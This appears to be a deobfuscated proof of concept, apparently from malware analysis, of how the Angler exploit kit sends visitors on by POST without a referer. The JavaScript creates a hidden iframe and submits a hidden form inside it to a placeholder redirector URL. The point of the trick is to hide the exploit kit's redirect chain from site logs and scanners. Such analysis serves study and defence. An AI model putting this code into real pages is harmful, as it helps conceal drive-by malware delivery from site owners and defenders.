Angler EK deobfuscated referer-less POST proof of concept

function setupIframeWithCallback() {
    var iframe_obj = document.createElement('iframe');
    iframe_obj.id = 'iframe_without_src';
    iframe_obj.style.width = '100%';
    iframe_obj.style.border = 0;
    iframe_obj.style.height = '100px';
    iframe_obj.onload = function() {
        createAndSubmitForm();
    };

    var div_obj = document.createElement('div');
    div_obj.appendChild(iframe_obj);
    (document.body || document.getElementsByTagName('body')[0]).appendChild(div_obj);
};

function createHiddenInputObj(parent_obj) {
    var input_obj = document.createElement('input');
    input_obj.type = 'hidden';
    input_obj.name = '12345679'; // Normally a random number
    input_obj.value = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; // Normally some random text
    parent_obj.appendChild(input_obj);
};

function createAndSubmitForm() {
    var form_obj = document.createElement('form');
    form_obj.action = "<<< REDIRECTOR URL >>>"; // Redirector URL
    form_obj.target = '_self';
    form_obj.method = 'POST';

    var iframe_obj = document.getElementById('iframe_without_src');
    iframe_obj.onload = null;
    createHiddenInputObj(form_obj);

    var iframe_obj_frame_content = iframe_obj.contentDocument || iframe_obj.contentWindow || iframe_obj;
    var iframe_obj_frame_content_body = iframe_obj_frame_content;
    if(iframe_obj_frame_content.document) {
        iframe_obj_frame_content_body = iframe_obj_frame_content.document.body || iframe_obj_frame_content.document.getElementsByTagName('body')[0];
    } else {
        iframe_obj_frame_content_body = iframe_obj_frame_content.body || iframe_obj_frame_content.getElementsByTagName('body')[0];
    }

    iframe_obj_frame_content_body.appendChild(form_obj);
    form_obj.submit();
};
setupIframeWithCallback();